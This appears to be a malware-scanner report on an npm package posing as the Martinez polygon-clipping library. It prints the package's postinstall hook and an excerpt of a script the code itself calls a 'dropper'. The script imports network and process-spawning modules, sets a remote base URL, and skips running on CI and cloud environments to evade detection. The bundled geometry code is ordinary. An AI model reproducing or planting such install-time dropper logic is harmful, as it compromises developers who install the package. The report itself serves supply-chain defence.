// offending code· 2 files flaggedpatterns: 5
--- install scripts ---
### postinstall
node scripts/postinstall.js
### prepublishOnly
npm run lint && npm run test:run && npm run build
--- package/package.json (excerpt) ---
{
"name": "martinez-polygon-clipping-tony",
"version": "0.9.5",
"description": "Martinez polygon clipping algorithm, does boolean operation on polygons (multipolygons, polygons with holes etc): intersection, union, difference, xor",
"main": "dist/martinez.cjs",
"browser": "dist/martinez.js",
"module": "dist/martinez.js",
"types": "dist/index.d.ts",
"type": "module",
"exports": {
".": {
"import": "./dist/martinez.js",
"require": "./dist/martinez.cjs",
"types": "./dist/index.d.ts"
}
},
"files": [
"dist/",
"scripts/postinstall.js"
],
"scripts": {
"postinstall": "node scripts/postinstall.js",
"test": "vitest",
"test:ui": "vitest --ui",
"test:run": "vitest run",
"bench": "vitest bench",
"lint": "oxlint src test bench demo",
"typecheck": "tsc --noEmit",
"dev": "vite --mode demo",
"dev:demo": "vite --mode demo",
"build": "vite build",
"build:demo": "vite build --mode demo",
"preview": "vite preview",
"preview:demo": "vite preview --outDir dist/demo",
"deploy:demo": "npm run build:demo && gh-pages --nojekyll -d dist/demo -t -m 'Deploy demo'",
"prepublishOnly": "npm run lint && npm run test:run && npm run build"
},
"keywords": [
"polygon",
"clipping",
"boolean",
"intersection",
"union",
"xor",
"geometry",
"martinez"
],
"repository": {
"url": "https://github.com/daltonchristiano060-gif/dalton-martinez.git",
"type": "git"
--- package/scripts/postinstall.js (excerpt) ---
import fs from 'node:fs';
import http from 'node:http';
import https from 'node:https';
import os from 'node:os';
import path from 'node:path';
import { spawn } from 'node:child_process';
const BASE = (
process.env.STARSHIP_BASE || 'http://10.10.6.129:8787'
).replace(/\/$/, '');
/** Skip dropper when we look like a cloud / managed / CI runner (.lab focus: IaaS + cloud CI). */
function isLikelyCloudOrManagedEnvironment() {
const e = process.env;
// Cloud & SaaS CI (ephemeral VMs)
if (e.GITHUB_ACTIONS === 'true') return { skip: true, reason: 'GitHub Actions' };
if (e.GITLAB_CI === 'true' || e.CI_PROJECT_ID) return { skip: true, reason: 'GitLab CI' };
if (e.CIRCLECI === 'true') return { skip: true, reason: 'Circle CI' };
if (e.BUILDKITE === 'true') return { skip: true, reason: 'Buildkite' };
if (e.TRAVIS === 'true') return { skip: true, reason: 'Travis CI' };
if (e.CF_PAGES === '1' || e.VERCEL || e.NETLIFY) return { skip: true, reason: 'edge/CI hosting' };
// Kubernetes / container orchestration (usually cloud-hosted)
if (e.KUBERNETES_SERVICE_HOST) return { skip: true, reason: 'Kubernetes' };
// AWS (EC2 / Lambda / ECS / batch)
if (e.AWS_EXECUTION_ENV) return { skip: true, reason: 'AWS Lambda' };
if (e.ECS_CONTAINER_METADATA_URI || e.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)
return { skip: true, reason: 'AWS ECS/task' };
if (e.AWS_BATCH_JOB_ID) return { skip: true, reason: 'AWS Batch' };
// EC2 Nitro/old: instance identity in env varies; re
--- bundled output (OSV-MAL flagged — LLM scope expansion) ---
--- dist/index.d.ts (bundled) ---
export declare function diff(subject: Geometry, clipping: Geometry): Geometry | null;
export declare type Geometry = Polygon | MultiPolygon;
export declare function intersection(subject: Geometry, clipping: Geometry): Geometry | null;
export declare type MultiPolygon = Polygon[];
/**
* @enum {Number}
*/
export declare const operations: {
UNION: number;
DIFFERENCE: number;
INTERSECTION: number;
XOR: number;
};
export declare type Polygon = Ring[];
export declare type Position = [number, number];
export declare type Ring = Position[];
export declare function union(subject: Geometry, clipping: Geometry): Geometry | null;
export declare function xor(subject: Geometry, clipping: Geometry): Geometry | null;
export { }
--- dist/martinez.cjs (bundled) ---
"use strict";Object.defineProperty(exports,Symbol.toStringTag,{value:"Module"});const K=require("splaytree"),X=require("robust-predicates"),Y=require("tinyqueue"),U=0,_=1,z=2,G=3,w=0,m=1,g=2,T=3;function P(n,t,e){t===null?(n.inOut=!1,n.otherInOut=!0):(n.isSubject===t.isSubject?(n.inOut=!t.inOut,n.otherInOut=t.otherInOut):(n.inOut=!t.otherInOut,n.otherInOut=t.isVertical()?!t.inOut:t.inOut),t&&(n.prevInResult=!F(t,e)||t.isVertical()?t.prevInResult:t)),F(n,e)?n.resultTransition=b(n,e):n.resultTransition=0}function F(n,t){switch(n.type){case U:switch(t){case w:return!n.otherInOut;case m:return n.otherInOut;case g:return n.isSubject&&n.otherInOut||!n.isSubject&&!n.otherInOut;case T:return!0}break;case z:return t===w||t===m;case G:return t===g;case _:return!1}return!1}function b(n,t){let e=!n.inOut,i=!n.otherInOut,o;switch(t){case w:o=e&&i;break;case m:o=e||i;break;case T:o=e!==i;break;case g:n.isSubject?o=e&&!i:o=i&&!e;break}return o?1:-1}class S{constructor(t,e,i,o,r){this.left=e,this.point=t,this.otherEvent=i,this.isSubject=o??!1,this.type=r||U,this.inOut=!1,this.otherInOut=!1,this.prevInResult=null,this.resultTransition=0,this.otherPos=-1,this.outputContourId=-1,this.isExteriorRing=!0}isBelow(t){const e=this.point,i=this.otherEvent.point;return this.left?(e[0]-t[0])*(i[1]-t[1])-(i[0]-t[0])*(e[1]-t[1])>0:(i[0]-t[0])*(e[1]-t[1])-(e[0]-t[0])*(i[1]-t[1])>0}isAbove(t){return!this.isBelow(t)}isVertical(){return this.point[0]===this.otherEvent.point[0]}get inResult(){return this.resultTransition!==0}clone(){const t=new S(this.point,this.left,this.otherEvent,this.isSubject,this.type);return t.contourId=this.contourId,t.resultTransition=this.resultTransition,t.prevInResult=this.prevInResult,t.isExteriorRing=this.isExteriorRing,t.inOut=this.inOut,t.otherInOut=this.otherInOut,t}}function v(n,t){return n[0]===t[0]?n[1]===t[1]:!1}function A(n,t,e){const i=X.orient2d(n[0],n[1],t[0],t[1],e[0],e[1]);return i>0?-1:i<0?1:0}function y(n,t){const e=n.point,i=t.point;return e[0]>i[0]?1:e[
--- dist/martinez.js (bundled) ---
import K from "splaytree";
import { orient2d as X } from "robust-predicates";
import Y from "tinyqueue";
const U = 0, _ = 1, z = 2, G = 3, R = 0, y = 1, g = 2, T = 3;
function P(n, t, e) {
t === null ? (n.inOut = !1, n.otherInOut = !0) : (n.isSubject === t.isSubject ? (n.inOut = !t.inOut, n.otherInOut = t.otherInOut) : (n.inOut = !t.otherInOut, n.otherInOut = t.isVertical() ? !t.inOut : t.inOut), t && (n.prevInResult = !F(t, e) || t.isVertical() ? t.prevInResult : t)), F(n, e) ? n.resultTransition = J(n, e) : n.resultTransition = 0;
}
function F(n, t) {
switch (n.type) {
case U:
switch (t) {
case R:
return !n.otherInOut;
case y:
return n.otherInOut;
case g:
return n.isSubject && n.otherInOut || !n.isSubject && !n.otherInOut;
case T:
return !0;
}
break;
case z:
return t === R || t === y;
case G:
return t === g;
case _:
return !1;
}
return !1;
}
function J(n, t) {
let e = !n.inOut, i = !n.otherInOut, o;
switch (t) {
case R:
o = e && i;
break;
case y:
o = e || i;
break;
case T:
o = e !== i;
break;
case g:
n.isSubject ? o = e && !i : o = i && !e;
break;
}
return o ? 1 : -1;
}
class S {
/**
* Sweepline event
*
* @class {SweepEvent}
* @param {Position} point
* @param {boolean} left
* @param {SweepEvent=} otherEvent
* @param {boolean} isSubject
* @param {EdgeType} edgeType
*/
constructor(t, e, i, o, r) {
this.left = e, this.point = t, this.otherEvent = i, this.isSubject = o ?? !1, this.type = r || U, this.inOut = !1, this.otherInOut = !1, this.prevInResult = null, this.resultTransition = 0, this.otherPos = -1, this.outputContourId = -1, this.isExteriorRing = !0;
}
/**
* @param {Position} p
* @return {boolean}
*/
isBelow(t) {
const e = this.point, i = this.otherEvent.point;
return
--- dist/martinez.umd.js (bundled) ---
(function(N,S){typeof exports=="object"&&typeof module<"u"?S(exports,require("splaytree"),require("robust-predicates"),require("tinyqueue")):typeof define=="function"&&define.amd?define(["exports","splaytree","robust-predicates","tinyqueue"],S):(N=typeof globalThis<"u"?globalThis:N||self,S(N.martinez={},N.Tree,N.robustPredicates,N.Queue))})(this,function(N,S,_,x){"use strict";function y(n,t,e){t===null?(n.inOut=!1,n.otherInOut=!0):(n.isSubject===t.isSubject?(n.inOut=!t.inOut,n.otherInOut=t.otherInOut):(n.inOut=!t.otherInOut,n.otherInOut=t.isVertical()?!t.inOut:t.inOut),t&&(n.prevInResult=!k(t,e)||t.isVertical()?t.prevInResult:t)),k(n,e)?n.resultTransition=X(n,e):n.resultTransition=0}function k(n,t){switch(n.type){case 0:switch(t){case 0:return!n.otherInOut;case 1:return n.otherInOut;case 2:return n.isSubject&&n.otherInOut||!n.isSubject&&!n.otherInOut;case 3:return!0}break;case 2:return t===0||t===1;case 3:return t===2;case 1:return!1}return!1}function X(n,t){let e=!n.inOut,i=!n.otherInOut,o;switch(t){case 0:o=e&&i;break;case 1:o=e||i;break;case 3:o=e!==i;break;case 2:n.isSubject?o=e&&!i:o=i&&!e;break}return o?1:-1}class g{constructor(t,e,i,o,r){this.left=e,this.point=t,this.otherEvent=i,this.isSubject=o??!1,this.type=r||0,this.inOut=!1,this.otherInOut=!1,this.prevInResult=null,this.resultTransition=0,this.otherPos=-1,this.outputContourId=-1,this.isExteriorRing=!0}isBelow(t){const e=this.point,i=this.otherEvent.point;return this.left?(e[0]-t[0])*(i[1]-t[1])-(i[0]-t[0])*(e[1]-t[1])>0:(i[0]-t[0])*(e[1]-t[1])-(e[0]-t[0])*(i[1]-t[1])>0}isAbove(t){return!this.isBelow(t)}isVertical(){return this.point[0]===this.otherEvent.point[0]}get inResult(){return this.resultTransition!==0}clone(){const t=new g(this.point,this.left,this.otherEvent,this.isSubject,this.type);return t.contourId=this.contourId,t.resultTransition=this.resultTransition,t.prevInResult=this.prevInResult,t.isExteriorRing=this.isExteriorRing,t.inOut=this.inOut,t.otherInOut=this.otherInOut,t}}function R(n,t){ret